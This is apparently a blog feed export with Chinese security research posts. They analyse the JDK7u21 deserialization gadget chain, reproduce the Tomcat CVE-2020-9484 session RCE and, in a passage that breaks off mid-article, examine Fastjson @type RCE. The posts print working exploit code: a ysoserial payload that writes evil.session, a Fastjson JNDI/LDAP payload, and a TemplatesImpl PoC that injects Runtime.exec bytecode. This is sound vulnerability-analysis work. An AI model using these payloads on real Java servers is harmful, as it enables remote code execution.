</code></pre>
<h2>分析</h2>
<p>首先简单两行代码<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span></p>
<pre><code class="language-java line-numbers">TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.getOutputProperties();
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200610115520.png" alt="image.png" /></p>
<p>createTemplatesImpl 是使用 <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>ssist 动态的添加的恶意 java 代码，初始化时自动执行，之前的文章中说过，getOutputProperties()中调用newTransformer()<br />
<img src="https://y4er.com/img/uploads/20200610114926.png" alt="image.png" /></p>
<p>调用了getTransletInstance()<br />
<img src="https://y4er.com/img/uploads/20200610115760.png" alt="image.png" /></p>
<p>getTransletInstance()中将恶意字节码加载进来并且new实例，在实例化时rce。<br />
<img src="https://y4er.com/img/uploads/20200610110173.png" alt="image.png" /></p>
<p>现在的问题就是如何<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>自动调用getOutputProperties，把yso的payload抠出来</p>
<pre><code class="language-java line-numbers">    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        return set;
    }
</code></pre>
<p>map先是存了一个<code>f5a5a608=foo</code>，然后f5a5a608值改为TemplatesImpl恶意对象</p>
<p>set对象存放了TemplatesImpl恶意对象和Templates的动态代理对象</p>
<p><img src="https://y4er.com/img/uploads/20200610119092.png" alt="image.png" /></p>
<p>LinkedHashSet继承HashSet，其readObject在HashSet中<br />
<img src="https://y4er.com/img/uploads/20200610113776.png" alt="image.png" /></p>
<p>在该readObjcet中会将反序列化的对象put()放入map中（HashSet本质是HashMap），先添加templates再添加proxy。在put()第二次添加proxy的时候，map中已经有了一个TemplatesImpl<br />
<img src="https://y4er.com/img/uploads/20200610115905.png" alt="image.png" /><br />
所以会拿上一个Entry的key做比较，当key对象相等时新值替换旧值，返回旧值。</p>
<pre><code class="language-java line-numbers">e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k))
</code></pre>
<p>问题就出在<code>key.equals(k)</code>，但是要想进入equals方法需要满足前面的几个短路条件</p>
<ol>
<li>e.hash == hash 为真</li>
<li>(k = e.key) == key 为假</li>
</ol>
<p>e.hash是在生成payload的时候<code>set.add(proxy)</code>计算的，贴一下堆栈</p>
<pre><code class="language-java line-numbers">hashCodeImpl:293, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:351, HashMap (java.util)
put:471, HashMap (java.util)
add:217, HashSet (java.util)
getObject:84, Jdk7u21 (ysoserial.payloads)
rce:21, JDK7u21 (ysoserial.mytest)
main:16, JDK7u21 (ysoserial.mytest)
</code></pre>
<p>在java.util.HashMap#put添加键值的时候会计算对象hash，走了一个hash(key)函数<br />
<img src="https://y4er.com/img/uploads/20200610110429.png" alt="image.png" /></p>
<p>而key此时是proxy动态代理对象，要调用它的hashCode()函数需要走动态代理的invoke接口，当调用方法名为hashCode时，会进入hashCodeImpl()<br />
<img src="https://y4er.com/img/uploads/20200610117633.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }
</code></pre>
<p>这个方法遍历memberValues这个map对象，然后做了</p>
<pre><code class="language-java line-numbers">v += 127 * (key).hashCode() ^ memberValueHashCode(value);
</code></pre>
<p><code>memberValueHashCode()</code>直接返回<code>var0.hashCode()</code>，也就是直接返回原本对象的hashcode，但是还要走一次亦或，所以要让<code>127 * (key).hashCode()=0</code>，而key为<code>f5a5a608</code>，他的hashcode刚好为0，到这里不得不惊叹作者的巧妙。</p>
<blockquote><p>
  拓展: 空字符串和<code>\u0000</code>的hashCode都为0
</p></blockquote>
<p><img src="https://y4er.com/img/uploads/20200610119892.png" alt="image.png" /></p>
<p>e.hash==hash其实就是拿proxy代理的<code>@javax.xml.transform.Templates(f5a5a608=foo)</code>对象的hash和之前计算的自身hash做比较，结果当然为true。</p>
<p><code>(k = e.key) == key</code>拿proxy对象和Templates比较肯定为false。</p>
<p>走到key.equals(k)这一步，也就是<code>proxy.equals(templates)</code>。同理调用proxy的equals函数需要通过invoke接口走<br />
<img src="https://y4er.com/img/uploads/20200610113803.png" alt="image.png" /></p>
<p>然后<br />
<img src="https://y4er.com/img/uploads/20200610113821.png" alt="image.png" /></p>
<p>getMemberMethods()取出两个无参方法<br />
<img src="https://y4er.com/img/uploads/20200610114904.png" alt="image.png" /></p>
<p>在这调用了getOutputProperties()，回到上文的rce流程就串起来了。</p>
<h2>修复</h2>
<pre><code class="language-java line-numbers">    AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; var1, Map&lt;String, Object&gt; var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() &amp;&amp; var3.length == 1 &amp;&amp; var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
</code></pre>
<p>对于this.type进行了校验必须为Annotation.class</p>
<h2>参考</h2>
<ol>
<li>https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ</li>
<li>https://b1ue.cn/archives/176.html</li>
<li>https://xz.aliyun.com/t/6884</li>
<li>https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2020-9484 Tomcat Session Rce 复现分析</title>
		<link>/audit/1788.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 May 2020 02:23:07 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1788</guid>

					<description><![CDATA[环境 Tomcat 7.0.99 JDK7u21 影响版本 &#60;= 9.0.34 &#60;= 8.5.54 &#60;= 7.0.103 配置tomcat调试环境 修改catal...]]></description>
										<content:encoded><![CDATA[<h2>环境</h2>
<ol>
<li>Tomcat 7.0.99</li>
<li>JDK7u21</li>
</ol>
<h2>影响版本</h2>
<ol>
<li>&lt;= 9.0.34</li>
<li>&lt;= 8.5.54</li>
<li>&lt;= 7.0.103</li>
</ol>
<h2>配置<span class="wpcom_tag_link"><a href="/tags/tomcat" title="tomcat" target="_blank">tomcat</a></span>调试环境</h2>
<p>修改catalina.bat添加一行</p>
<pre><code class="line-numbers">set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
</code></pre>
<p>idea配置remote tomcat调试 端口为8001</p>
<h2>复现</h2>
<p>修改tomcat路径conf目录下的context.xml 在<code>&lt;Context&gt;</code>标签内加入以下配置</p>
<pre data-language=XML><code class="language-markup line-numbers">  &lt;Manager className="org.apache.catalina.session.PersistentManager" 
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1"&gt;
      &lt;Store className="org.apache.catalina.session.FileStore" directory="../sessions" /&gt;
  &lt;/Manager&gt;
</code></pre>
<p>为了方便burp抓包，修改server.xml端口为80</p>
<p>下载ysoserial使用idea导入之后修改jdk7u21的链</p>
<pre><code class="language-java line-numbers">package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload&lt;Object&gt; {

    public static boolean serialize(Object obj, String file) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
            os.writeObject(obj);
            os.close();
            return true;
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            return false;
        }
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null &amp;&amp; (v.major &lt; 7 || (v.major == 7 &amp;&amp; v.update &lt;= 21));
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jdk7u21.class, args);
    }

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        serialize(set, "e:/evil.session");
        return set;
    }

}
</code></pre>
<p>配置idea参数为<br />
<img src="https://y4er.com/img/uploads/20200525100696.png" alt="image.png" /><br />
然后运行生成<code>e:/evil.session</code>文件，将其保存到<code>D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions</code>目录中，burp抓包设置session为evil，触发反序列化达成RCE。</p>
<p><img src="https://y4er.com/img/uploads/20200525105570.png" alt="image.png" /><br />
<img src="https://y4er.com/img/uploads/20200525100287.png" alt="image.png" /></p>
<h2>分析</h2>
<p>在php中会将用户session以文件的形式存储到服务器中，<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>自然也可以，对于大型的企业应用，为了避障会将数据库或者session以文件的形式保存到文件中，那么以文件的形式保存对象自然就涉及到了序列化和反序列化。</p>
<p>通过复现漏洞可知该反序列化入口点在于<code>Context.xml</code>中配置的<code>org.apache.catalina.session.FileStore</code>，查看其代码在load()中发现readObjcet</p>
<pre><code class="language-java line-numbers">    public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null &amp;&amp; file.exists()) {
            Context context = (Context)this.getManager().getContainer();
            Log containerLog = context.getLogger();
            if (containerLog.isDebugEnabled()) {
                containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            FileInputStream fis = null;
            ObjectInputStream ois = null;
            Loader loader = null;
            ClassLoader classLoader = null;
            ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();

            StandardSession var11;
            try {
                fis = new FileInputStream(file.getAbsolutePath());
                loader = context.getLoader();
                if (loader != null) {
                    classLoader = loader.getClassLoader();
                }

                if (classLoader != null) {
                    Thread.currentThread().setContextClassLoader(classLoader);
                }

                ois = this.getObjectInputStream(fis);
                StandardSession session = (StandardSession)this.manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(this.manager);
                var11 = session;
                return var11;
            } catch (FileNotFoundException var25) {
                ...
        }
    }
</code></pre>
<p>代码很明显，通过id打开session文件，然后获取context的类加载器赋值给当前线程的类加载器，以此拿到当前容器Container中的lib，<code>session.readObjectData(ois)</code>中触发了反序列化RCE。</p>
<h2>修复</h2>
<p>在 <a class="wp-editor-md-post-content-link" href="https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad">java/org/apache/catalina/session/FileStore.java</a> 中判断了目录是否有效<br />
<img src="https://y4er.com/img/uploads/20200525101938.png" alt="image.png" /></p>
<h2>gadget用哪个?</h2>
<p>因为通过当前Container的类加载器反序列化对象，所以能拿到当前war包中的lib，所以有什么用什么，什么都没有就用jdk的gatget。</p>
<h2>遇到的问题</h2>
<p>直接使用ysoserial生成的payload不行，在<code>java/io/ObjectInputStream.java:299</code>中会验证前几位字节码，抛出异常，堆栈如下</p>
<pre><code class="language-java line-numbers">readStreamHeader:799, ObjectInputStream (java.io)
&lt;init&gt;:299, ObjectInputStream (java.io)
&lt;init&gt;:95, CustomObjectInputStream (org.apache.catalina.util)
getObjectInputStream:237, StoreBase (org.apache.catalina.session)
load:248, FileStore (org.apache.catalina.session)
loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
swapIn:739, PersistentManagerBase (org.apache.catalina.session)
findSession:517, PersistentManagerBase (org.apache.catalina.session)
doGetSession:3147, Request (org.apache.catalina.connector)
getSession:2489, Request (org.apache.catalina.connector)
getSession:897, RequestFacade (org.apache.catalina.connector)
getSession:909, RequestFacade (org.apache.catalina.connector)
_initialize:147, PageContextImpl (org.apache.jasper.runtime)
initialize:126, PageContextImpl (org.apache.jasper.runtime)
internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
_jspService:6, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:728, HttpServlet (javax.servlet.http)
service:477, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:110, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:165, StandardHostValve (org.apache.catalina.core)
invoke:104, ErrorReportValve (org.apache.catalina.valves)
invoke:1025, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:452, CoyoteAdapter (org.apache.catalina.connector)
process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
</code></pre>
<p>具体原因可能是因为yso对于反序列化对象写入文件的操作不一样，自己写一个serialize()就行了</p>
<h2>攻击面和约束条件的思考</h2>
<p>先谈约束条件吧，利用难度还是比较大的。<br />
1. 不是默认配置，需要手动增加<code>Context.xml</code><br />
2. 文件上传 文件后缀需要是<code>.session</code><br />
3. 需要知道绝对路径来跨目录</p>
<p>拓展下攻击面，比如redis，这里<code>@l1nk3r</code>师傅公开了<a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a>，问题出现在<code>RedisSession</code>类中，原理和9484差不多，id从jsessionid获取，value是反序列化数据，配合redis任意写入value来触发反序列化。</p>
<h2>参考</h2>
<ol>
<li><a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a></li>
<li>https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad</li>
<li>https://www.sec-in.com/article/394</li>
<li>https://www.cnblogs.com/potatsoSec/p/12931427.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fastjson 反序列化RCE分析</title>
		<link>/audit/1525.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 26 Apr 2020 04:40:45 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[fastjson]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1525</guid>

					<description><![CDATA[前言 fastjson是阿里巴巴的一个json库，频频爆RCE。本文分析fastjson至今的一些RCE漏洞。 fastjson的使用 引入库 &#60;dependency&#62;...]]></description>
										<content:encoded><![CDATA[<h2>前言</h2>
<p><span class="wpcom_tag_link"><a href="/tags/fastjson" title="fastjson" target="_blank">fastjson</a></span>是阿里巴巴的一个json库，频频爆RCE。本文分析fastjson至今的一些RCE漏洞。</p>
<h2>fastjson的使用</h2>
<p>引入库</p>
<pre data-language=XML><code class="language-markup ">&lt;dependency&gt;
    &lt;groupId&gt;com.alibaba&lt;/groupId&gt;
    &lt;artifactId&gt;fastjson&lt;/artifactId&gt;
    &lt;version&gt;1.2.24&lt;/version&gt;
&lt;/dependency&gt;
</code></pre>
<p>创建一个实体类User</p>
<pre><code class="language-java ">package org.chabug.fastjson.model;

public class User {
    private int id;
    private int age;
    private String name;

    @Override
    public String toString() {
        return "User{" +
            "id=" + id +
            ", age=" + age +
            ", name='" + name + ''' +
            '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}
</code></pre>
<p>使用fastjson解析为字符串、从字符串解析为对象：</p>
<pre><code class="language-java ">package org.chabug.fastjson.run;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.chabug.fastjson.model.User;

import java.util.HashMap;
import java.util.Map;

public class JSONTest {
    public static void main(String[] args) {
        Map&lt;String, Object&gt; map = new HashMap&lt;String, Object&gt;();
        map.put("key1", "One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        System.out.println("--------------------------");


        User user = new User();
        user.setId(1);
        user.setAge(17);
        user.setName("张三");

        // 对象转字符串
        String s1 = JSON.toJSONString(user);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        System.out.println(s2);

        System.out.println("--------------------------");

        // 字符串转对象
        User o1 = (User) JSON.parse(s2);
        System.out.println("o1:"+o1);
        System.out.println(o1.getClass().getName());

        JSONObject o2 = JSON.parseObject(s2);
        System.out.println("o2:"+o2);
        System.out.println(o2.getClass().getName());

        Object o3 = JSON.parseObject(s2, Object.class);
        System.out.println("o3:"+o3);
        System.out.println(o3.getClass().getName());

    }
}
</code></pre>
<p>运行结果</p>
<pre><code class="language-text ">{"key1":"One","key2":"Two"}
--------------------------
{"age":17,"id":1,"name":"张三"}
{"@type":"org.chabug.fastjson.model.User","age":17,"id":1,"name":"张三"}
--------------------------
o1:User{id=1, age=17, name='张三'}
org.chabug.fastjson.model.User
o2:{"name":"张三","id":1,"age":17}
com.alibaba.fastjson.JSONObject
o3:User{id=1, age=17, name='张三'}
org.chabug.fastjson.model.User
</code></pre>
<p>fastjson通过<code>JSON.toJSONString()</code>将对象转为字符串(序列化)，当使用<code>SerializerFeature.WriteClassName</code>参数时会将对象的类名写入<code>@type</code>字段中，在重新转回对象时会根据<code>@type</code>来指定类，进而调用该类的<code>set</code>、<code>get</code>方法。因为这个特性，我们可以指定<code>@type</code>为任意存在问题的类，造成一些问题。</p>
<p>在字符串转对象的过程中(<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>)，主要使用<code>JSON.parse()</code>和<code>JSON.parseObject()</code>两个方法，两者区别在于<code>parse()</code>会返回实际类型(User)的对象，而<code>parseObject()</code>在不指定class时返回的是<code>JSONObject</code>，指定class才会返回实际类型(User)的对象，也就是<code>JSON.parseObject(s2)</code>和<code>JSON.parseObject(s2, Object.class)</code>的区别，这里也可以指定为<code>User.class</code>。</p>
<p>我们再来看<code>@type</code>的问题，我定义了一个Evil类，在其set方法中可以执行命令</p>
<pre><code class="language-java ">package org.chabug.fastjson.model;

import java.io.IOException;

public class Evil {
    private String cmd;

    public String getCmd() {
        System.out.println("getCmd()");
        return cmd;
    }

    public void setCmd(String cmd) {
        System.out.println("setCmd()");
        this.cmd = cmd;
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public Evil() {
        System.out.println("Evil()");
    }
}
</code></pre>
<p>用springboot起了一个web<br />
<img src="https://y4er.com/img/uploads/20200426110221.png" alt="image.png" /></p>
<p>成功弹出了计算器<br />
<img src="/wp-content/uploads/2020/04/20200426112943.png" alt="image.png" /></p>
<p>我们通过控制<code>@type</code>来实现反序列化恶意Evil类，从而RCE，很简单只是举个例子说明<code>@type</code>的使用。</p>
<p>那么到这里还有一个问题，为什么写在<code>setCmd</code>方法会自动调用呢？</p>
<h2>setter、getter、is自动调用</h2>
<p>对应的Evil<br />
<img src="/wp-content/uploads/2020/04/20200426112989.png" alt="image.png" /></p>
<p>写一个test测试下<br />
<img src="/wp-content/uploads/2020/04/20200426117757.png" alt="image.png" /></p>
<p>可以看到<code>parseObject(evil)</code>的get、set、构造方法都自动调用了，另外两种解析方式只调用了set、构造方法。</p>
<p>在前文中我们知道<code>parseObject(evil)</code>返回的是<code>JSONObject</code>对象，跟进其方法发现也是使用parse解析的，但是多了一个<code>(JSONObject)toJSON(obj)</code><br />
<img src="/wp-content/uploads/2020/04/20200426110951.png" alt="image.png" /><br />
这个方法调用的get，堆栈如下</p>
<pre><code class="language-text ">getCmd:11, Evil (org.chabug.fastjson.model)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:105, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:13, Test (org.chabug.fastjson.run)
</code></pre>
<p>比较简单，不详细分析，大致就是通过反射调用getter方法获取字段的值存入hashmap。那么setter在哪调用的？</p>
<p>在<code>com.alibaba.fastjson.util.JavaBeanInfo#build</code>中</p>
<p><img src="/wp-content/uploads/2020/04/20200426115009.png" alt="image.png" /></p>
<p>在通过<code>@type</code>拿到类之后，通过反射拿到该类所有的方法存入methods，接下来遍历methods进而获取get、set方法，如上图。总结set方法自动调用的条件为：<br />
1. 方法名长度大于4<br />
2. 非静态方法<br />
3. 返回值为void或当前类<br />
4. 方法名以set开头<br />
5. 参数个数为1</p>
<p>当满足条件之后会从方法名截取属性名，截取时会判断<code>_</code>，如果是<code>set_name</code>会截取为<code>name</code>属性，具体逻辑如下：<br />
<img src="/wp-content/uploads/2020/04/20200426118528.png" alt="image.png" /></p>
<p>当截取完但是找不到这个属性<br />
<img src="/wp-content/uploads/2020/04/20200426113707.png" alt="image.png" /></p>
<p>会判断传入的第一个参数类型是否为布尔型，是的话就在截取完的变量前加上<code>is</code>，截取propertyName的第一个字符转大写和第二个字符，并且然后重新尝试获取属性字段。</p>
<p>比如：public boolean setBoy(boolean t) 会寻找<code>isBoy</code>字段。</p>
<p>set的整个判断就是：如果有setCmd()会绑定cmd属性，如果该类没有cmd属性会绑定isCmd属性。</p>
<p>get的判断<br />
<img src="/wp-content/uploads/2020/04/20200426119593.png" alt="image.png" /><br />
总结下就是：<br />
1. 方法名长度大于等于4<br />
2. 非静态方法<br />
3. 以get开头且第4个字母为大写<br />
4. 无传入参数<br />
5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong</p>
<p>当程序绑定了对应的字段之后，如果传入json字符串的键值中存在这个值，就会去调用执行对应的setter、构造方法。</p>
<p>小结：<br />
1. parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()<br />
2. parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()<br />
3. parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()</p>
<h2>fastjson漏洞历程</h2>
<p>fastjson漏洞经历了多次绕过及修复，甚至出现了加密黑名单防止安全研究= =</p>
<h3>1.2.22-1.2.24</h3>
<p>在小于fastjson1.2.22-1.2.24版本中有两条利用链。<br />
1. JNDI <code>com.sun.rowset.JdbcRowSetImpl</code><br />
2. JDK7u21 <code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</code></p>
<h4>JNDI利用链</h4>
<p>JNDI传输过程中使用的就是序列化和反序列化，所以通杀三种解析方式</p>
<pre><code class="language-java ">JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);
</code></pre>
<p>原理就是setter的自动调用</p>
<pre><code class="language-java ">package org.chabug.fastjson.run;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class Test {
    public static void main(String[] args) {


        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#Calc");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/04/20200426110423.png" alt="image.png" /></p>
<p>setDataSou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>Name()和setAutoCommit()满足setter自动调用的条件，当我们传入对应json键值对时就会触发setter，进而触发jndi链接。payload如下</p>
<pre><code class="language-json ">{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}
</code></pre>
<h4>TemplatesImpl利用链</h4>
<p>条件苛刻<br />
1. 服务端使用parseObject()时，必须使用如下格式才能触发漏洞：<code>JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)</code><br />
2. 服务端使用parse()时，需要<code>JSON.parse(text1,Feature.SupportNonPublicField)</code></p>
<p>poc</p>
<pre><code class="language-java ">package org.chabug.fastjson.run;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;

public class JDK7u21 {
    // 参考https://y4er.com/post/ysoserial-commonscollections-2/
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Y4er" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        return cc.toBytecode();
    }


    //main函数调用以下poc而已
    public static void main(String args[]) {
        try {
            byte[] evilCode = getevilbyte();
            String evilCode_base64 = Base64.encodeBase64String(evilCode);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"@type":"" + NASTY_CLASS + "","_bytecodes":["" + evilCode_base64 + ""],'_name':'asd','_tfactory':{ },"_outputProperties":{ }," + ""_version":"1.0","allowedProtocols":"all"}n";
            System.out.println(text1);
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static class test {

    }
}
</code></pre>
<p>看完poc应该考虑的几个问题：<br />
1. 为什么<code>parseObject</code>需要<code>Feature.SupportNonPublicField</code>？<br />
2. 为什么需要<code>_outputProperties</code>属性？<br />
